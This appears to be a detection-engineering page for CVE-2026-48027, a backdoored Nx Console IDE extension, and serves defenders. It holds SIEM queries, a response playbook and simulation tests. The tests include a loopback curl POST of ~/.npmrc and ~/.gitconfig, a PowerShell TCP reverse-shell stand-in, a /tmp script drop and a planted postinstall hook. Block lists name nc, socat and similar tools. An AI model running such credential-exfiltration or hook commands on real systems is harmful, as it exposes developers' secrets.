CVE-2026-48027

Nx Console Embedded Malicious Code Execution (CVE-2026-48027)

CVE-2026-48027 describes an embedded malicious code vulnerability (CWE-506) in Nx Console, a popular VS Code and JetBrains IDE extension for managing Nx monorepos. A compromised or trojanized version of Nx Console contains backdoored code that executes at extension load time within the developer IDE process, enabling attacker-controlled behavior including credential harvesting, reverse shells, or supply chain lateral movement into CI/CD pipelines. This vulnerability is listed in CISA KEV, indicating active exploitation in the wild. Detection focuses on anomalous process spawning from IDE extension host processes, unexpected network connections originating from VS Code or JetBrains runtimes, and suspicious file writes consistent with embedded malicious payloads.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
Nx
Product
Nx Console

Weakness (CWE)

Timeline

Disclosed
May 27, 2026

CVSS

9.8
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2026-48027 Nx Console Embedded Malicious Code Execution (CVE-2026-48027)?

Nx Console Embedded Malicious Code Execution (CVE-2026-48027) (CVE-2026-48027) maps to the Initial Access and Execution and Persistence and Command and Control tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Nx Console Embedded Malicious Code Execution (CVE-2026-48027), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel DeviceProcessEvents, Windows Security Event Log. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Command and Control
Microsoft Sentinel / Defender
kusto
let SuspectParents = dynamic(["code", "code-insiders", "code - insiders", "webstorm", "idea", "rider", "node"]);
let LateralBinaries = dynamic(["powershell.exe", "pwsh.exe", "cmd.exe", "bash", "sh", "python", "python3", "curl", "wget", "certutil", "mshta", "wscript", "cscript", "nc", "ncat", "socat"]);
union DeviceProcessEvents, SecurityEvent
| where TimeGenerated > ago(7d)
| where ProcessCommandLine has_any ("nx-console", "@nrwl/nx-console", "nxls", "nx-language-server")
   or (InitiatingProcessFileName has_any (SuspectParents) and FileName has_any (LateralBinaries))
| extend ExtensionHostSuspicion = iff(
    InitiatingProcessFileName has_any (SuspectParents) and FileName has_any (LateralBinaries), true, false)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath, ExtensionHostSuspicion
| order by TimeGenerated desc

Detects suspicious child process spawning from VS Code or JetBrains IDE extension host processes consistent with embedded malicious code in Nx Console (CVE-2026-48027). Flags shell, scripting engine, or network utility execution initiated by IDE runtimes.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel DeviceProcessEvents Windows Security Event Log

Required Tables

DeviceProcessEvents SecurityEvent DeviceNetworkEvents

False Positives

  • Legitimate Nx CLI invocations that spawn shell processes during workspace scaffolding or build tasks
  • Developer-initiated terminal sessions opened from within VS Code that naturally spawn bash or cmd
  • Automated CI test runners executing within a developer's local IDE context
  • Node.js-based test frameworks (Jest, Vitest) spawned by the extension during test runs

Sigma rule & cross-platform mapping

The detection logic for Nx Console Embedded Malicious Code Execution (CVE-2026-48027) (CVE-2026-48027) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Nx Console Extension Host Spawning Reverse Shell (Windows)

    Expected signal: DeviceProcessEvents: powershell.exe spawned with parent chain including node.exe or code.exe; DeviceNetworkEvents: TCP connect attempt to 127.0.0.1:9999

  2. Test 2Simulate Nx Console Extension Credential File Exfiltration (Linux/macOS)

    Expected signal: Process creation event: bash spawned with cat and curl in command line; Network event: HTTP POST to 127.0.0.1:8181 from bash process; File access events on .npmrc and .gitconfig

  3. Test 3Drop and Execute Malicious Script from Temp Directory (macOS)

    Expected signal: Process events: node.exe spawning sh executing a script from /tmp; File creation events for /tmp/nx_test_payload.sh and /tmp/nx_beacon.txt with initiating process node

  4. Test 4Nx Console VSIX Backdoor Package Installation Simulation

    Expected signal: File system events showing creation of extension directory and package.json under .vscode/extensions; if extension activated, bash process spawned from VS Code extension host


Response Playbook

Triage

  1. Identify the exact version of Nx Console installed: on Windows check %USERPROFILE%\.vscode\extensions\; on Linux/macOS check ~/.vscode/extensions/ for nrwl.angular-console-* or nxs.nx-console-* directories and capture the package.json version field.
  2. Determine whether the extension was installed from the VS Code Marketplace, a private VSIX file, or a package manager — examine VS Code extension installation logs at Help > Toggle Developer Tools > Console for extension host load events.
  3. Cross-reference the installed extension's package integrity against the known-good manifest from the official GitHub advisory (GHSA-c9j4-9m59-847w): compute SHA-256 of the installed extension bundle and compare to the advisory-published hashes.
  4. Review process tree for the affected developer workstation: identify any child processes spawned by Code.exe or its extension host (extensionHost.js) in the past 72 hours using EDR telemetry, focusing on outbound network connections and file writes to temp directories.
  5. Assess developer access scope: determine what secrets, tokens, or SSH keys reside on the affected machine (SSH agent keys, .npmrc tokens, cloud provider credentials, CI/CD API keys) as these are primary targets for embedded malicious code in developer tooling.

Containment

  1. Immediately disable or uninstall the affected Nx Console extension across all developer workstations via MDM/endpoint management policy or by pushing a VS Code settings.json extension blocklist entry; revoke any developer tokens or API keys accessible from the affected machines pending investigation.
  2. Isolate the affected developer workstation(s) from CI/CD pipeline access and internal network segments if active exploitation indicators (outbound C2 connections, unauthorized file drops) are confirmed, and rotate all secrets stored in the developer's local credential stores including npm tokens, Git credentials, cloud provider keys, and SSH private keys.

Evidence Collection

  1. Capture a forensic memory image and disk snapshot of affected developer workstations before remediation; preserve the installed Nx Console extension directory verbatim including all JavaScript bundles, package.json, and any supplemental files the extension may have written to disk.
  2. Export IDE extension host logs, VS Code crash reporter data, and all process execution events (EDR telemetry) covering the window from initial extension installation through detection time; also collect network flow records for all outbound connections originating from Code.exe or the extension host process.

Escalation Criteria

  • ! Escalate to incident response if lateral movement indicators are found: CI/CD pipeline credentials used from an unexpected IP, unauthorized commits or pipeline modifications in source repositories, or evidence of the developer's SSH keys being used from a foreign host.
  • ! Escalate to supply chain security team and legal/compliance if the malicious extension was distributed via the official VS Code Marketplace or an internal extension registry, as this constitutes a supply chain compromise potentially affecting multiple teams and may trigger breach notification obligations.

Investigation Guide

Forensic Artifacts

  • > VS Code extension directory: ~/.vscode/extensions/nrwl.angular-console-*/ or equivalent — examine all .js bundle files for obfuscated code, eval() calls, or hardcoded C2 URLs
  • > Extension host process memory: dump and analyze for injected payloads, unusual heap allocations, or decrypted shellcode regions
  • > Developer credential stores: ~/.npmrc, ~/.gitconfig, ~/.ssh/known_hosts and id_* key files, ~/.aws/credentials, ~/.kube/config — check modification timestamps against extension install date
  • > Network connection records: all TCP/UDP connections from Code.exe or extensionHost processes — look for connections to non-CDN IPs on ports 443, 80, 4444, 8080, 1337
  • > File system timeline: using MFT/inode analysis, identify any files created or modified by the VS Code extension host process after Nx Console installation

Tuning Guidance

Initial deployment will generate noise from legitimate Nx CLI workflows and VS Code integrated terminal usage. Tune by building an allowlist of known-good Nx Console command patterns (e.g., 'nxls --stdio', 'nx graph', 'nx run') and excluding these from the parent-child process correlation. Raise confidence to HIGH after baselining 7 days of normal developer IDE telemetry per host. For the network-based hunting queries, suppress known Nx Cloud API endpoints (cloud.nx.app, nx.dev CDN ranges) from RemoteIP matches. Consider enriching detections with the extension version field from DeviceProcessEvents CommandLine to rapidly pivot during an incident response to all hosts running a specific compromised version.


Hunting Queries

Hunt for outbound network connections from IDE and Node.js processes to non-private IPs on ports commonly associated with reverse shells and C2 frameworks — indicative of post-exploitation activity following Nx Console backdoor execution.

Hunting — KQL
kql
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("code", "extensionHost", "node")
  and RemoteIPType != "Private"
  and RemotePort in (4444, 1337, 8080, 9001, 31337)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated desc
Hunting — SPL
spl
index=network sourcetype IN ("firewall", "zeek_conn", "palo_alto_traffic")
| eval src_proc=lower(coalesce(src_process, app))
| where match(src_proc, "code|extensionHost|node")
  AND dest_port IN (4444, 1337, 8080, 9001, 31337)
  AND NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)")
| table _time, src_ip, src_proc, dest_ip, dest_port, bytes_out

Hunt for executable or script files written to temporary directories by IDE or Node.js processes — a common indicator of payload staging following embedded malicious code execution in developer tools.

Hunting — KQL
kql
DeviceFileEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName has_any ("code", "extensionHost", "node")
  and (FolderPath has_any ("/tmp/", "\\Temp\\", "\\AppData\\Local\\Temp\\", "/var/tmp/")
       and FileExtension in ("sh", "ps1", "py", "exe", "elf", "bat"))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, FolderPath, FileName, FileExtension, SHA256
| order by TimeGenerated desc
Hunting — SPL
spl
index=endpoint sourcetype IN ("xmlwineventlog", "carbon_black:edr")
| where EventCode=4663 OR event_type="filemod"
| eval path_lower=lower(file_path)
| where match(lower(process_name), "code|extensionhost|node")
  AND match(path_lower, "(\/tmp\/|\\\\temp\\\\|appdata\\\\local\\\\temp|\/var\/tmp\/)") 
  AND match(path_lower, "\.(sh|ps1|py|exe|elf|bat)$")
| table _time, host, user, process_name, file_path, file_hash

Atomic Red Team Tests

Test 1 Simulate Nx Console Extension Host Spawning Reverse Shell (Windows)
windows

Simulates the process tree that would result from a backdoored Nx Console extension executing a PowerShell reverse shell payload. Uses a loopback listener so no actual C2 connectivity is required.

Command

powershell
Start-Process powershell.exe -ArgumentList '-NoProfile -NonInteractive -Command "$c = New-Object System.Net.Sockets.TCPClient(\"127.0.0.1\",9999); Write-Host \"[atomic-test] reverse shell simulation\""' -Wait

Cleanup

powershell
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue

Expected Telemetry

DeviceProcessEvents: powershell.exe spawned with parent chain including node.exe or code.exe; DeviceNetworkEvents: TCP connect attempt to 127.0.0.1:9999

Expected Detection

KQL and SPL rules trigger on powershell.exe spawned from IDE parent process; EDR alerts on suspicious process lineage

Test 2 Simulate Nx Console Extension Credential File Exfiltration (Linux/macOS)
linux

Simulates an embedded malicious code payload reading developer credential files and staging them for exfiltration via curl to a loopback listener.

Command

bash
bash -c 'cat ~/.npmrc ~/.gitconfig 2>/dev/null | curl -s -X POST http://127.0.0.1:8181 -d @- --max-time 5 || true'

Cleanup

bash
echo '[atomic-test-cleanup] no persistent artifacts'

Expected Telemetry

Process creation event: bash spawned with cat and curl in command line; Network event: HTTP POST to 127.0.0.1:8181 from bash process; File access events on .npmrc and .gitconfig

Expected Detection

EQL sequence rule matches bash spawn from IDE parent followed by network event; Sumo Logic and Splunk queries flag curl child of IDE process

Test 3 Drop and Execute Malicious Script from Temp Directory (macOS)
macos

Simulates an embedded malicious code payload writing a shell script to /tmp and executing it — a common staging technique used by backdoored IDE extensions.

Command

bash
node -e "const fs=require('fs'); const cp=require('child_process'); fs.writeFileSync('/tmp/nx_test_payload.sh','#!/bin/bash\necho nx-console-atomic-test > /tmp/nx_beacon.txt\n'); cp.execSync('chmod +x /tmp/nx_test_payload.sh && /tmp/nx_test_payload.sh');"

Cleanup

bash
rm -f /tmp/nx_test_payload.sh /tmp/nx_beacon.txt

Expected Telemetry

Process events: node.exe spawning sh executing a script from /tmp; File creation events for /tmp/nx_test_payload.sh and /tmp/nx_beacon.txt with initiating process node

Expected Detection

EQL sequence rule matches file drop to /tmp with .sh extension by IDE-related node process; Chronicle YARA-L and CrowdStrike CQL rules trigger on node spawning shell from temp path

Test 4 Nx Console VSIX Backdoor Package Installation Simulation
linux

Simulates the installation of a backdoored VSIX package (as would occur in a supply chain attack) by extracting a crafted test VSIX to the VS Code extensions directory and verifying extension host process behavior on next IDE launch.

Command

bash
mkdir -p ~/.vscode/extensions/nrwl.nx-console-test-9.9.9 && echo '{"name":"nx-console","version":"9.9.9","publisher":"nrwl","scripts":{"postinstall":"bash -c \"echo atomic-test-marker > /tmp/nx_install_beacon.txt\""}}' > ~/.vscode/extensions/nrwl.nx-console-test-9.9.9/package.json

Cleanup

bash
rm -rf ~/.vscode/extensions/nrwl.nx-console-test-9.9.9 /tmp/nx_install_beacon.txt

Expected Telemetry

File system events showing creation of extension directory and package.json under .vscode/extensions; if extension activated, bash process spawned from VS Code extension host

Expected Detection

File integrity monitoring alerts on new extension directory creation; EDR detects bash spawned from VS Code extension host on subsequent IDE launch

Related Detections